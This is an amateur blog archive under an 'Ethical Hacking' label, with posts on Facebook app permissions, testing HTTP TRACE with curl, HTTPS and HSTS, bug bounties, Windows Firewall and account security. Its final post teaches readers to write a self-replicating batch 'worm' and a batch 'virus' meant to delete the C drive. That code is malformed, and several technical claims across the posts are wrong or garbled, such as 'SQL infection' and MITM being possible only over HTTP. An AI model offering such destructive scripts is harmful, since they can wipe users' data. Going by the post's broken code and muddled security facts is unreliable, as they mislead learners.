Showing posts with label Ethical Hacking. Show all posts
Showing posts with label Ethical Hacking. Show all posts

Things to watchout when using Facebook apps

There are many things we need to care when we use an application on Facebook. Because to run a Facebook application we are giving some rights to the app to access. In most cases, users don’t give much time for reading the permissions that the app requires. The permission also has the right to make post behalf of you. Some applications are built for connecting the Facebook account with websites and some will post behalf of you, create an album, create funny photos etc. Many apps are just building for spam purposes. I found a Facebook application which tells valentine mate of the user using the friend list of the users. The worst part of this app is that it posts photo by the name of the user in the entire group in which he/she is a member. It is not easy for a user to remove all the posts that posted on behalf of him/her in the groups. Just ignoring permission in the app requires is the reason behind this trap that is giving permission to the app to post behalf of the user. So it’s very important that one should have to read all the necessary details before accepting a Facebook application. Just give permission to the apps that you trust. When accepting an application it can even access to the friend list, email address etc of the users even though the user set the privacy as only me. So accepting a not trusted application will cost you a big loss. If you feel that you jumped into a trap of Facebook application simply remove the application from the app list.

How to remove Facebook application

1) Go to Settings
2) Click Apps--->Logged in with Facebook
3) Select an app
4) Click Remove app which is present bottom.
You can also see the app permission above the remove button. When you log in with the help of a Facebook application your privacy is under question unless it is a trusted application. Some Facebook applications are very helpful to do some activities quickly or making some funny photos on behalf of us etc but need to check that is there is any bad intention is there behind the application or not. Nowadays spamming with the Facebook application is increasing day by day as a result of it more victims are falling into the trap. So need to be careful next when you give permission to a Facebook application.

How to test Cross Site Tracing

Cross site tracing is a type of web application vulnerability which results in cross site scripting with http TRACE method. TRACE is a http requesting method which simply echoes back whatever the user send to the server. If a website respond to TRACE request then we can confirm that it is vulnerable to cross site tracing shortly called XST. It's very easy to test cross site tracing, you can test it with burp suite repeater, OWASP ZAP request tab or you can use curl  command in command prompt. This vulnerability is easy to find out and probably for the beginners to try out for to get start into ethical hacking
Testing method:- Just open your command prompt (cmd) or MS DOS. Remember curl need to be downloaded and installed manually for using curl command ( for beginners).  Just type the command curl -X TRACE url . For example curl -X TRACE google.com for testing whether Google accept HTTP TRACE method. In penetration testing software's like burp suite, ZAP you just need to send a request like TRACE url.  Example TRACE google.com.In the below image you can see the request that I made and response that I got.
Test result:- If the web application doesn't accept HTTP TRACE method then you will get an http status code 405 or 301 in the response or output. If the response gives a http status code 200 then it is vulnerable to cross site tracing ( xst ) and with that possibility cross site scripting ( xss ) is possible.

How internet communication is secured through HTTPS

Man in the middle attack is shortly called MITM. This is a hacking method used by hackers to leak information’s that was transferred between client and server. Man in the middle is possible if and only if the communication is done through HTTP protocol. The reason is this protocol transfer information I'm plain text that makes a hacker or an attacker leak information that was transferred between client and server by making a connection between them. This is widely used in LAN, as it is very easy to make a connection in the local area network. The security problem that occurs with the HTTP led to the coining of https it's similar to HTTP for transferring web pages and allows web browsing. But there is a security step was made to protect from information leakage. Through https when transferring information it will do an encryption process and change the information to some codes that can be decrypted if and only if the man in the middle attacker has the decryption key which is impossible to get. Encryption and decryption process is done by the client browser. So client and server will get the actual message that transferred. If you look at some of the websites like Facebook, PayPal, Google etc was loading in https.

By default HTTP use port 80 and https use port 443, compared to https HTTP was the fastest I'm loading that's why HTTP is used I'm blogging sites and website homepage. By default web browsers make connection with HTTP so https connection is not possible unless the client to enter the entire URL in https for example: if the client entered domain.com in the URL box and click go then the link that load will be like http://www.domain.com but in order to make connection in https the client need to enter https://www.domain.com which in most case the clients will not do so that a new security step has been taken to avoid this problem that is HSTS widely called as HTTP strict transport security feature this makes the web browser to understand that the connection to the site need to be I'm https. The developer can set up an age to the HSTS at that much time the web browser will remember the connection is in https only. This security step makes impossible for the hackers to leak information through a man in the middle as the connection is completely in https. Make sure that the site is in https when you provide payment details and other private information to a web server. This will make your privacy is safe.

How to do ethical hacking

Computer world always give importance to security researchers. From the beginning of 1970s onwards hacking and exploitation are came up. Everyday exploiters trying their level best to find an exploiting opportunity to misuse it. So in order to defend from this computer companies start to promote security researchers or ethical hackers. Anyone who knows programming and has the intension to find an exploiting way can find it because there is always a way to attack a site or a system. Following are the few ways to do security researching.

1) Think like real-:

You should have to create a confident in yourself there is certainly an exploiting way in the site or system. Just focus on different ways. Using inspect element tool on mozilla firefox is very useful(personal recommendation) , you can see the source code with details of the entire page with the help of this tool. You can refer various parameters and tags which are hidden in actual page but used in the script.

2) Start with natural ways-:

Some of the mostly used attacking ways are CSS(Cross Site Scripting), Remote code execution, session hijacking, SQL infection, Server attacks, URL redirecting etc. Learn to do this things will help you to learn what is actually ethical hacking means. Now also there are many sites which are vulnerability to this methods.

3) Use paper and pen -:

Use paper to note down various things that you found for example ,change in parameters, important tags used in the page etc. Keep in your mind that you are doing a research so you need to practice the way like a research. Don't concentrate only on one side itself you should have to drift to different if you want that there is no specific exploiting way.

4) Don't give up-:

If you fail to find the exploiting way then that never means that you don't having hacking skill it only means that the site or the system is strong and tight in its security. The thing that a ethical hacker need to find that is the security is strong or not if it is strong leave it and go for another.

Now companies like Facebook, Microsoft, Google, Mozilla, Paypal etc give some bounty for the security researchers who finds a way to exploits there sites or products. So do security researching and earn bounty. Don't practice black hacking it is not good for our life, some times you will get more money with black hacking but its totally wrong and it always end in trouble. So work for the good of the computer systems and network, you will get paid as well your heart will proud of you. All the best.

Windows firewall and its working

Windows firewall is a program that designed and developed by Microsoft for the protection and safety of there users. Once there was many malicious attacks were occured because of not having a protective medium for the computer. In a very high protective manner, windows firewall is protecting our computer. In order to avoid the problems and the hackers attacks, the microsoft take up this measure. It is very interesting to know the way it protect our computer.
How windows firewall protects the system
Windows firewall is just like a wall which will come in between the network and the computer. Only the trusted programs are welcomed into the computers while others are blocked from the computer. This program is an essential thing for a computer as it guard the system. Remember if the windows firewall is off in a system then the risk is very high. There are many malicious and hacking attacks are occuring in world widely. The firewall updates are also necessary as it will create more protective layer for your computer. Never turn off your windows firewall.
How to turn on windows firewall
It is very easy, just goto your control panel. And click the windows firewall, in there you can see the status of the windows firewall that is whether it is turn on or off. In the side you can see that a dialog named turn on or off windows firewall. Click there, and opt the option to activate firewall. In the windows firewall, you can also see the trusted programs that listed by the firewall in your computer.
One thing that you have to remember is turn off the windows firewall is not good for a computer. Having an antivirus and windows firewall will make your system safe from malicious hackers. Update the security patches regularly so that new updates will came up to protect your system. Sometimes you may heard that Windows XP is going to down from April, 2014. That means no new patches will be available from then onwards. Windows firewall is included in windows XP, Vista windows 7 and windows 8. Thank you.

Facebook bug bounty program

Facebook is one of the greatest social network that was got as a gift to the IT world. But this social networks has many security problems which may even reason to wild activities, misusing, hacking etc. In order to avoid this problem facebook has successfully developed a new program that is big bunty program. Usually hackers and other programmers develop different hacking techniques and security issues for other purposes from that they will get other advantages and with that they share with other which may reason in creating certain problems. For to avoid this and solving security problems big bunty has raised by the facebook team. With this program, anyone can report a security bug to the facebook team which may reason in hacking and other activity. After validating and solving that problem facebook give a reward to the informer. The lowest price money offered by the facebook team for participating and solving security problem is 500$ and there is no higher amount it is depend upon the security issue of the bug. This is a platform for the programmers or developers to share their ideas for getting rewards. With this program facebook has successfully reduced many security issues. Facebook also offers test accounts for testing the security issue that we found if only our tested problem work can sumbit the problem. Many online tools and softwarer where developed by different programmers to hack facebook passwords but this step from facebook team was created a big problem for them. And also many programmers and hackers soon turned to reveal their technique to the facebook team to get rewards. And many hackers were succesed in getting more than 10,000$ with the help of big bunty program.

Hacking and cracking is an art but it is important that one should not misuse it. This program help the hackers to get reward by sharing their discovered technique for to solve security problem. With the help of this reward program many hacking and other issues have been reduced in large amount. Revealing the techniques to the facebook team will not harm us but if we spread it to the world without any advantage then what is the use. If you have any security issues for submitting then follow this link Submit a report.All the best.

How to protect facebook account from being hacked

Last week one of my friend told me that a guy has warned him that his account will be hacked soon. When I am in online my friend ask me about some anti hack to protect his facebook account. I share some of it and now here I would like to share it with you, generally all this are common to everyone anyway I am sharing this sometimes it may help anyone.

*Add a strong password-:

The security of your account is on your hand you have to make a hard password. What my suggestion is password having more than 10 character will be the best and also for the password containing characters like _ , ., - etc will trick the hackers to hack with your informations and with loop programming softwares.

*Be touch with Gmail-:

Not only with facebook sometimes hackers hack the gmail first and then with that facebook because it is very easy to hack gmail and if Gmail is in the hands then how much it is easier to hack facebook with forgot my password. So keep always a touch with Gmail because all the information regarding your facebook notification are also coming on Gmail which includes the changing password.

*Add trusted friends only-:

This is the one that all the facebook users need to aware now hackers found an easy way to hack facebook that is create 3 fake account and add the victim as friend in the 3 accounts. And with 'forgot my password' uses '3 friends account for retrieving password' with 3 fake account. So one should have to be careful about this hackers latest favourite technique.

*Don't connect with unwanted facebook apps-:

Most of the phishing activities are done with in the name of facebook apps and other connecting activity. Phishing means creating a fake login page of facebook ( not only for facebook but for any social media) and in the name of some apps or activity the hacker contact the victim to join on this connections or to the game or any entertainment activity with log on with facebook username and password. The victim will surely believe as the login page is exactly as the facebook login but the truth is that is fake if the victim enter his/her email id and password and log on then it is very sure that the username and password will be saved in a server that is control by the hacker. So be always sure about the apps that you are connecting with facebook.

*Set your privacy and security in strong-:

That is make your privacy setting according to the safety of your facebook account which includes enable and disable of email notification, subscribing facebook with mobile sms etc and also set that to only your friends can write on your timeline etc. If your privacy and security settings are strong your account is half protected from being hacked.
This are only few of tips that I can suggest you to protect your facebook account. Give your suggestion and doubts in the comment box regarding it. All the best.

How to create a simple virus and a worm

Computer Virus is a simple which works with a specific functions. There are many types of computer viruses are there namely malware, trojan, spyware, skull etc. Here I will like to teach how to create a simple virus and a worm. This viruses are extremely dangerous to the PC so don't try it without any precautions. Firstly let we start with a simple worm.

Worm


The function of a worm is to eat the local disk. It will make a 50GB space into 50MB space.
1) Open the notepad or texteditor, from start-> All program-> Accessories-> Notepad.
2) For testing this worm you have to create a folder in any one of the local disk unless the worm will affect your local disk totally. Here I create a folder named virus in C disk.
3) Type the following code without single quotes
'@echo off
Copy C:/virus/worm.bat C:/virus
start C:/virus/worm.bat'
4) Now save it by providing the name worm.bat, here I saved this file in the C: /virus directory.
5) For hidding right click the file you have created and into properties and click hide and apply it.
Function of this worm: It creates numerous number of worm.bat file in the directory that we choosed.

Removing the worm:

It is very easy to remove the worm simply delect the file that we made or the folder that we created for it.

Warning:

This lesson for creating worm is simply for learning the technique of creating a worm. So don't create this for cheating others.

Virus

Virus is totally a dangerous thing for computer. Here I am going to describe how to create a simple virus.
1) Same as the step 1 in the worm creation. Open the notepad.
2) For the safety test if you wants you can create a folder. Here I am take whole C disk full.
3) Type the following codes in the notepad by removing the single quotes.
' @echo off shutdown
Del: C'
Instead of simple C if you want to work this virus in a folder then provide the directory in place of simple C.
4) Save it as virus.bat and save it. The virus is ready.

Function of the virus:

It will format the C disk totally when you shutdown it the whole C will format.

Removing virus:

The only way to remove this virus is delect the file before you shutdown the system otherwise you can't do anything.

Warning:

This is very important that Local disk is C is the one this virus is formatting so all the program files and even the operating system will also deleted. Due to cause only step that one can take after the effect of this virus is re install the Windows or the operating system. So don't try this if you don't understand the after effect which occurs after shutdown.
All the best.